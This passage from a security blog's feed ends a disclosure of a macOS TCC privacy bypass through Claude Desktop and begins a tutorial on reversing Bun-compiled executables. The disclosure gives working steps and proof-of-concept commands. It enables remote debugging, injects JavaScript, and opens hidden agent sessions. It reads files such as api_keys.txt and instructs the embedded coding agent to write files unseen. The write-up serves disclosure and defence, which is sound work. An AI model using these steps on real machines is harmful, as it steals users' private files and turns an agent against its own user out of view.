&lt;span class="line"&gt;&lt;span style="color:#C792EA;font-weight:600"&gt;const&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt; content &lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;=&lt;/span&gt;&lt;span style="color:#C792EA;font-weight:600"&gt; await&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt; fs&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;.&lt;/span&gt;&lt;span style="color:#82AAFF"&gt;readLocalFile&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt;(sessionId&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;,&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt; "&lt;/span&gt;&lt;span style="color:#B4D88A"&gt;/Users/victim/Documents/secret.txt&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;"&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt;)&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;For non-text MIME types, &lt;code&gt;readLocalFile()&lt;/code&gt; returns the file bytes as base64 in &lt;code&gt;content.content&lt;/code&gt;.&lt;/p&gt;
&lt;h3 id="write--exec-access-via-vm"&gt;Write + Exec Access via VM&lt;a class="heading-anchor" href="#write--exec-access-via-vm" aria-label="Link to Write &amp;#43; Exec Access via VM"&gt;#&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;The VM mount at &lt;code&gt;/sessions/*/mnt/&lt;/code&gt; is read-write. More importantly, once a session is created the attacker can give arbitrary instructions to the embedded Claude Code instance running inside the VM. That can be used to read, write, and execute within the VM context while operating on the mounted TCC-protected folders.&lt;/p&gt;
&lt;div class="code-panel"&gt;
&lt;div class="code-scroll" tabindex="0" role="region" aria-label="Code listing"&gt;&lt;pre class="shiki"&gt;&lt;code data-lang="javascript"&gt;&lt;span class="line"&gt;&lt;span style="color:#C792EA;font-weight:600"&gt;await&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt; api&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;.&lt;/span&gt;&lt;span style="color:#82AAFF"&gt;start&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt;(&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;{&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt; &lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span style="color:#DEDEDE"&gt; message&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;:&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt; "&lt;/span&gt;&lt;span style="color:#B4D88A"&gt;Write 'pwned' to /sessions/*/mnt/Documents/test.txt&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;"&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span style="color:#DEDEDE"&gt; userSelectedFolders&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;:&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt; [&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;"&lt;/span&gt;&lt;span style="color:#B4D88A"&gt;/Users/victim/Documents&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;"&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt;] &lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span style="color:#B4B4B4"&gt;}&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt;)&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;h2 id="putting-it-together"&gt;Putting It Together&lt;a class="heading-anchor" href="#putting-it-together" aria-label="Link to Putting It Together"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;h3 id="attack-flow"&gt;Attack Flow&lt;a class="heading-anchor" href="#attack-flow" aria-label="Link to Attack Flow"&gt;#&lt;/a&gt;&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;Launch Claude Desktop with CDP enabled: &lt;code&gt;open -a Claude --args --remote-debugging-port=9222&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Fetch the CDP target list from &lt;code&gt;http://localhost:9222/json&lt;/code&gt; and select the entry for Claude&amp;rsquo;s main renderer (in CDP, a &amp;ldquo;target&amp;rdquo; is a debuggable page context; we want the one whose &lt;code&gt;url&lt;/code&gt; contains &lt;code&gt;claude.ai&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;Connect to that target&amp;rsquo;s &lt;code&gt;webSocketDebuggerUrl&lt;/code&gt; and execute JavaScript via &lt;code&gt;Runtime.evaluate&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Create an agent session with &lt;code&gt;userSelectedFolders&lt;/code&gt; pointing to a TCC-protected folder&lt;/li&gt;
&lt;li&gt;Wait for session initialization, then stop and archive it (session stays hidden in the UI)&lt;/li&gt;
&lt;li&gt;Use &lt;code&gt;FileSystem.listFilesInFolder()&lt;/code&gt; and &lt;code&gt;FileSystem.readLocalFile()&lt;/code&gt; to list and read files&lt;/li&gt;
&lt;/ol&gt;
&lt;h3 id="proof-of-concept"&gt;Proof of Concept&lt;a class="heading-anchor" href="#proof-of-concept" aria-label="Link to Proof of Concept"&gt;#&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;PoC: &lt;code&gt;poc.py&lt;/code&gt; (&lt;a href="https://github.com/xpcmdshell/claude-tcc-bypass" target="_blank" rel="noopener noreferrer"&gt;GitHub&lt;/a&gt;)&lt;/p&gt;
&lt;div class="code-panel"&gt;
&lt;div class="code-scroll" tabindex="0" role="region" aria-label="Code listing"&gt;&lt;pre class="shiki"&gt;&lt;code data-lang="shellscript"&gt;&lt;span class="line"&gt;&lt;span style="color:#82AAFF"&gt;git&lt;/span&gt;&lt;span style="color:#B4D88A"&gt; clone&lt;/span&gt;&lt;span style="color:#B4D88A"&gt; https://github.com/xpcmdshell/claude-tcc-bypass&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt; &amp;#x26;&amp;#x26;&lt;/span&gt;&lt;span style="color:#78DCE8"&gt; cd&lt;/span&gt;&lt;span style="color:#B4D88A"&gt; claude-tcc-bypass&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span style="color:#82AAFF"&gt;open&lt;/span&gt;&lt;span style="color:#B4D88A"&gt; -a&lt;/span&gt;&lt;span style="color:#B4D88A"&gt; Claude&lt;/span&gt;&lt;span style="color:#B4D88A"&gt; --args&lt;/span&gt;&lt;span style="color:#B4D88A"&gt; --remote-debugging-port=9222&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span style="color:#B4B4B4"&gt;#&lt;/span&gt;&lt;span style="color:#949494;font-style:italic"&gt; List files in a TCC-protected folder&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span style="color:#82AAFF"&gt;uv&lt;/span&gt;&lt;span style="color:#B4D88A"&gt; run&lt;/span&gt;&lt;span style="color:#B4D88A"&gt; poc.py&lt;/span&gt;&lt;span style="color:#B4D88A"&gt; --list&lt;/span&gt;&lt;span style="color:#B4D88A"&gt; ~/Documents/&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span style="color:#B4B4B4"&gt;#&lt;/span&gt;&lt;span style="color:#949494;font-style:italic"&gt; Read a file from the listing (non-text files return base64; --decode to decode)&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span style="color:#82AAFF"&gt;uv&lt;/span&gt;&lt;span style="color:#B4D88A"&gt; run&lt;/span&gt;&lt;span style="color:#B4D88A"&gt; poc.py&lt;/span&gt;&lt;span style="color:#B4D88A"&gt; --read&lt;/span&gt;&lt;span style="color:#B4D88A"&gt; ~/Documents/secrets/api_keys.txt&lt;/span&gt;&lt;span style="color:#B4D88A"&gt; --decode&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;h3 id="demo"&gt;Demo&lt;a class="heading-anchor" href="#demo" aria-label="Link to Demo"&gt;#&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;The screenshot below shows iTerm2 without Files and Folders permission failing to access &lt;code&gt;~/Documents&lt;/code&gt;, while the CDP-based PoC can list and read the same path by proxying through Claude&amp;rsquo;s already-granted access.&lt;/p&gt;
&lt;figure class="evidence-figure"&gt;
&lt;a class="image-link" data-zoom href="https://0day.gg/images/claude/claude_exploit_demo.png"&gt;&lt;img src="https://0day.gg/images/claude/claude_exploit_demo.png" alt="Exploit demo from unprivileged terminal" loading="lazy" decoding="async" width="1784" height="1770"&gt;&lt;/a&gt;
&lt;figcaption&gt;iTerm2 (no TCC grant) fails to access ~/Documents; the PoC succeeds via Claude.&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;h2 id="impact"&gt;Impact&lt;a class="heading-anchor" href="#impact" aria-label="Link to Impact"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;An attacker with local code execution can:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Read&lt;/strong&gt; any file in TCC-protected folders that Claude has been granted access to&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Write&lt;/strong&gt; to those folders via the VM&amp;rsquo;s mounted filesystem&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Enumerate&lt;/strong&gt; directory contents without prior knowledge of filenames&lt;/li&gt;
&lt;li&gt;Perform all operations &lt;strong&gt;invisibly&lt;/strong&gt; (archived sessions don&amp;rsquo;t appear in Claude&amp;rsquo;s UI)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;This bypasses macOS&amp;rsquo;s TCC protection model for any folder Claude has access to. Users who have granted Claude access to Documents, Downloads, or Desktop during normal agent mode usage are vulnerable.&lt;/p&gt;
&lt;h2 id="prior-art"&gt;Prior Art&lt;a class="heading-anchor" href="#prior-art" aria-label="Link to Prior Art"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;For context, here are some similar TCC bypasses in entitled applications:&lt;/p&gt;
&lt;h3 id="apple-system-components"&gt;Apple System Components&lt;a class="heading-anchor" href="#apple-system-components" aria-label="Link to Apple System Components"&gt;#&lt;/a&gt;&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;CVE&lt;/th&gt;
&lt;th&gt;Component&lt;/th&gt;
&lt;th&gt;Description&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;CVE-2024-44131&lt;/td&gt;
&lt;td&gt;FileProvider&lt;/td&gt;
&lt;td&gt;TCC bypass via symlinks&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;CVE-2024-40855&lt;/td&gt;
&lt;td&gt;diskarbitrationd&lt;/td&gt;
&lt;td&gt;TCC bypass via disk mounting&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;These require local code execution and piggyback on entitled system components, the same pattern as this vulnerability.&lt;/p&gt;
&lt;h3 id="third-party-applications"&gt;Third-Party Applications&lt;a class="heading-anchor" href="#third-party-applications" aria-label="Link to Third-Party Applications"&gt;#&lt;/a&gt;&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;CVE&lt;/th&gt;
&lt;th&gt;Application&lt;/th&gt;
&lt;th&gt;Description&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;CVE-2025-9190&lt;/td&gt;
&lt;td&gt;&lt;a href="https://cert.pl/en/posts/2025/08/tcc-bypass/" target="_blank" rel="noopener noreferrer"&gt;Cursor&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;TCC bypass via &lt;code&gt;RunAsNode&lt;/code&gt; fuse&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;CVE-2024-45599&lt;/td&gt;
&lt;td&gt;Cursor&lt;/td&gt;
&lt;td&gt;TCC bypass via DyLib injection (camera/microphone)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;CVE-2025-22136&lt;/td&gt;
&lt;td&gt;&lt;a href="https://github.com/Eugeny/tabby/security/advisories/GHSA-prcj-7rvc-26h4" target="_blank" rel="noopener noreferrer"&gt;Tabby Terminal&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;TCC bypass via Node fuses&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;CVE-2025-8672&lt;/td&gt;
&lt;td&gt;GIMP&lt;/td&gt;
&lt;td&gt;TCC bypass via bundled Python&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;CVE-2025-53811&lt;/td&gt;
&lt;td&gt;Mosh-Pro&lt;/td&gt;
&lt;td&gt;TCC bypass via &lt;code&gt;RunAsNode&lt;/code&gt; fuse&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;CVE-2025-53813&lt;/td&gt;
&lt;td&gt;Nozbe&lt;/td&gt;
&lt;td&gt;TCC bypass via &lt;code&gt;RunAsNode&lt;/code&gt; fuse&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;N/A&lt;/td&gt;
&lt;td&gt;&lt;a href="https://afine.com/tcc-bypass-in-microsoft-visual-studio-code-via-misconfigured-node-fuses/" target="_blank" rel="noopener noreferrer"&gt;VS Code&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;TCC bypass via &lt;code&gt;RunAsNode&lt;/code&gt; fuse&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;CERT Polska &lt;a href="https://cert.pl/en/posts/2025/08/tcc-bypass/" target="_blank" rel="noopener noreferrer"&gt;documented six TCC bypasses&lt;/a&gt; in August 2025, all discovered by Karol Mazurek from AFINE.&lt;/p&gt;
&lt;p&gt;The &lt;a href="https://github.com/r3ggi/electroniz3r" target="_blank" rel="noopener noreferrer"&gt;electroniz3r&lt;/a&gt; tool by Wojciech Reguła automates exploitation of Electron TCC bypasses and was presented at DEF CON 31.&lt;/p&gt;
&lt;h2 id="timeline"&gt;Timeline&lt;a class="heading-anchor" href="#timeline" aria-label="Link to Timeline"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Date&lt;/th&gt;
&lt;th&gt;Event&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;2026-01-12&lt;/td&gt;
&lt;td&gt;Vulnerability discovered&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2026-01-22&lt;/td&gt;
&lt;td&gt;Reported to Anthropic via HackerOne&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2026-01-23&lt;/td&gt;
&lt;td&gt;Report closed (Informative/WontFix)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2026-01-24&lt;/td&gt;
&lt;td&gt;Public disclosure&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h2 id="references"&gt;References&lt;a class="heading-anchor" href="#references" aria-label="Link to References"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://www.electronjs.org/docs/latest/tutorial/fuses" target="_blank" rel="noopener noreferrer"&gt;Electron Fuses Documentation&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/electron/fuses/issues/2" target="_blank" rel="noopener noreferrer"&gt;electron/fuses#2: Chromium debugging flags&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://nsantoine.dev/TCCPaper.pdf" target="_blank" rel="noopener noreferrer"&gt;Firstline Privacy Defense (TCC Paper)&lt;/a&gt; - Osama Alhour&lt;/li&gt;
&lt;li&gt;&lt;a href="https://afine.com/threat-of-tcc-bypasses-on-macos/" target="_blank" rel="noopener noreferrer"&gt;Threat of TCC Bypasses on macOS&lt;/a&gt; - AFINE&lt;/li&gt;
&lt;li&gt;&lt;a href="https://cert.pl/en/posts/2025/08/tcc-bypass/" target="_blank" rel="noopener noreferrer"&gt;CERT Polska: Six TCC Bypasses&lt;/a&gt; - Karol Mazurek&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/r3ggi/electroniz3r" target="_blank" rel="noopener noreferrer"&gt;electroniz3r&lt;/a&gt; - Wojciech Reguła&lt;/li&gt;
&lt;li&gt;&lt;a href="https://chromedevtools.github.io/devtools-protocol/" target="_blank" rel="noopener noreferrer"&gt;Chrome DevTools Protocol&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/xpcmdshell/claude-tcc-bypass" target="_blank" rel="noopener noreferrer"&gt;Proof of Concept&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</description></item><item><title>Dissecting Droid: Reversing Bun Executables</title><link>https://0day.gg/blog/dissecting-droid-reversing-bun-executables/</link><guid>https://0day.gg/blog/dissecting-droid-reversing-bun-executables/</guid><pubDate>Mon, 12 Jan 2026 00:00:00 -0800</pubDate><description>&lt;h2 id="motivation"&gt;Motivation&lt;a class="heading-anchor" href="#motivation" aria-label="Link to Motivation"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;I was bouncing around various CLI coding agent harnesses (&lt;a href="https://github.com/anthropics/claude-code" target="_blank" rel="noopener noreferrer"&gt;Claude Code&lt;/a&gt;, &lt;a href="https://opencode.ai/" target="_blank" rel="noopener noreferrer"&gt;OpenCode&lt;/a&gt;, &lt;a href="https://docs.factory.ai/cli/getting-started/quickstart" target="_blank" rel="noopener noreferrer"&gt;Droid&lt;/a&gt; by &lt;a href="https://factory.ai/" target="_blank" rel="noopener noreferrer"&gt;Factory&lt;/a&gt;, etc.). Droid appeared to be closed source, and I was curious about the implementation. I opened it in &lt;a href="https://binary.ninja/" target="_blank" rel="noopener noreferrer"&gt;Binary Ninja&lt;/a&gt; and noticed references to V8 and some embedded JS. After poking around a bit more, I realized it was built with &lt;a href="https://bun.sh/" target="_blank" rel="noopener noreferrer"&gt;Bun&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;I went to the Bun source to see how it packages standalone executables. Depending on build flags, you can recover the original project structure and source files directly. In Droid&amp;rsquo;s case: a few hundred source files and a handful of embedded assets.&lt;/p&gt;
&lt;h2 id="creating-a-target"&gt;Creating a Target&lt;a class="heading-anchor" href="#creating-a-target" aria-label="Link to Creating a Target"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Before pulling apart Droid, let&amp;rsquo;s understand the format with a minimal test case.&lt;/p&gt;
&lt;p&gt;Here&amp;rsquo;s a tiny program to use as a test case:&lt;/p&gt;
&lt;div class="code-panel"&gt;
&lt;div class="code-scroll" tabindex="0" role="region" aria-label="Code listing"&gt;&lt;pre class="shiki"&gt;&lt;code data-lang="typescript"&gt;&lt;span class="line"&gt;&lt;span style="color:#B4B4B4"&gt;//&lt;/span&gt;&lt;span style="color:#949494;font-style:italic"&gt; index.ts&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span style="color:#C792EA;font-weight:600"&gt;import&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt; {&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt; dep &lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;}&lt;/span&gt;&lt;span style="color:#C792EA;font-weight:600"&gt; from&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt; "&lt;/span&gt;&lt;span style="color:#B4D88A"&gt;./dep&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;"&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span style="color:#DEDEDE"&gt;console&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;.&lt;/span&gt;&lt;span style="color:#82AAFF"&gt;log&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt;(&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;"&lt;/span&gt;&lt;span style="color:#B4D88A"&gt;INDEX_MAGIC:&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;"&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt; +&lt;/span&gt;&lt;span style="color:#82AAFF"&gt; dep&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt;())&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;div class="code-panel"&gt;
&lt;div class="code-scroll" tabindex="0" role="region" aria-label="Code listing"&gt;&lt;pre class="shiki"&gt;&lt;code data-lang="typescript"&gt;&lt;span class="line"&gt;&lt;span style="color:#B4B4B4"&gt;//&lt;/span&gt;&lt;span style="color:#949494;font-style:italic"&gt; dep.ts&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span style="color:#C792EA;font-weight:600"&gt;export&lt;/span&gt;&lt;span style="color:#C792EA;font-weight:600"&gt; function&lt;/span&gt;&lt;span style="color:#82AAFF"&gt; dep&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;()&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span style="color:#C792EA;font-weight:600"&gt; return&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt; "&lt;/span&gt;&lt;span style="color:#B4D88A"&gt;DEP_MAGIC&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;"&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span style="color:#B4B4B4"&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;Compile it:&lt;/p&gt;
&lt;div class="code-panel"&gt;
&lt;div class="code-scroll" tabindex="0" role="region" aria-label="Code listing"&gt;&lt;pre class="shiki"&gt;&lt;code data-lang="shellscript"&gt;&lt;span class="line"&gt;&lt;span style="color:#82AAFF"&gt;bun&lt;/span&gt;&lt;span style="color:#B4D88A"&gt; build&lt;/span&gt;&lt;span style="color:#B4D88A"&gt; --compile&lt;/span&gt;&lt;span style="color:#B4D88A"&gt; index.ts&lt;/span&gt;&lt;span style="color:#B4D88A"&gt; --outfile&lt;/span&gt;&lt;span style="color:#B4D88A"&gt; sample&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;h2 id="how-bun-embeds-code"&gt;How Bun Embeds Code&lt;a class="heading-anchor" href="#how-bun-embeds-code" aria-label="Link to How Bun Embeds Code"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;The implementation is in &lt;a href="https://github.com/oven-sh/bun/blob/main/src/StandaloneModuleGraph.zig" target="_blank" rel="noopener noreferrer"&gt;&lt;code&gt;src/StandaloneModuleGraph.zig&lt;/code&gt;&lt;/a&gt;. When you run &lt;code&gt;bun build --compile&lt;/code&gt;, Bun:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Bundles your code (resolving imports, tree-shaking, etc.)&lt;/li&gt;
&lt;li&gt;Generates sourcemaps for each output file&lt;/li&gt;
&lt;li&gt;Serializes everything into a single blob&lt;/li&gt;
&lt;li&gt;Injects that blob into a copy of the Bun executable&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;At runtime, Bun reads this blob to reconstruct a virtual filesystem.&lt;/p&gt;
&lt;h2 id="blob-layout"&gt;Blob Layout&lt;a class="heading-anchor" href="#blob-layout" aria-label="Link to Blob Layout"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;figure class="evidence-figure"&gt;&lt;a class="image-link" data-zoom href="https://0day.gg/images/bun-blob-layout.svg"&gt;&lt;img src="https://0day.gg/images/bun-blob-layout.svg" alt="Bun standalone module graph layout" loading="lazy" decoding="async" width="560" height="600"&gt;&lt;/a&gt;
&lt;/figure&gt;&lt;p&gt;The trailer is a fixed marker at the very end. Immediately before it is the &lt;code&gt;Offsets&lt;/code&gt; struct, which tells you where everything else lives:&lt;/p&gt;
&lt;div class="code-panel"&gt;
&lt;div class="code-scroll" tabindex="0" role="region" aria-label="Code listing"&gt;&lt;pre class="shiki"&gt;&lt;code data-lang="zig"&gt;&lt;span class="line"&gt;&lt;span style="color:#949494;font-style:italic"&gt;// src/StandaloneModuleGraph.zig&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span style="color:#C792EA;font-weight:600"&gt;pub&lt;/span&gt;&lt;span style="color:#C792EA;font-weight:600"&gt; const&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt; Offsets &lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;=&lt;/span&gt;&lt;span style="color:#C792EA;font-weight:600"&gt; extern&lt;/span&gt;&lt;span style="color:#C792EA;font-weight:600"&gt; struct&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span style="color:#DEDEDE"&gt; byte_count&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;:&lt;/span&gt;&lt;span style="color:#C792EA;font-weight:600"&gt; usize&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt; =&lt;/span&gt;&lt;span style="color:#F4B66A"&gt; 0&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;,&lt;/span&gt;&lt;span style="color:#949494;font-style:italic"&gt; // total size of the blob (excluding trailer)&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span style="color:#DEDEDE"&gt; modules_ptr&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;:&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt; bun&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;.&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt;StringPointer &lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;=&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt; .&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt;{}&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;,&lt;/span&gt;&lt;span style="color:#949494;font-style:italic"&gt; // offset + length of the module array&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span style="color:#DEDEDE"&gt; entry_point_id&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;:&lt;/span&gt;&lt;span style="color:#C792EA;font-weight:600"&gt; u32&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt; =&lt;/span&gt;&lt;span style="color:#F4B66A"&gt; 0&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;,&lt;/span&gt;&lt;span style="color:#949494;font-style:italic"&gt; // index into module array&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span style="color:#DEDEDE"&gt; compile_exec_argv_ptr&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;:&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt; bun&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;.&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt;StringPointer &lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;=&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt; .&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt;{}&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span style="color:#DEDEDE"&gt; flags&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;:&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt; Flags &lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;=&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt; .&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt;{}&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span style="color:#DEDEDE"&gt;}&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;A &lt;code&gt;StringPointer&lt;/code&gt; is &lt;code&gt;{ offset: u32, length: u32 }&lt;/code&gt;: an offset into the blob and a byte length.&lt;/p&gt;
&lt;h2 id="the-module-array"&gt;The Module Array&lt;a class="heading-anchor" href="#the-module-array" aria-label="Link to The Module Array"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;&lt;code&gt;modules_ptr&lt;/code&gt; points to an array of &lt;code&gt;CompiledModuleGraphFile&lt;/code&gt; structs:&lt;/p&gt;
&lt;div class="code-panel"&gt;
&lt;div class="code-scroll" tabindex="0" role="region" aria-label="Code listing"&gt;&lt;pre class="shiki"&gt;&lt;code data-lang="zig"&gt;&lt;span class="line"&gt;&lt;span style="color:#949494;font-style:italic"&gt;// src/StandaloneModuleGraph.zig&lt;/span&gt;&lt;/span&gt;
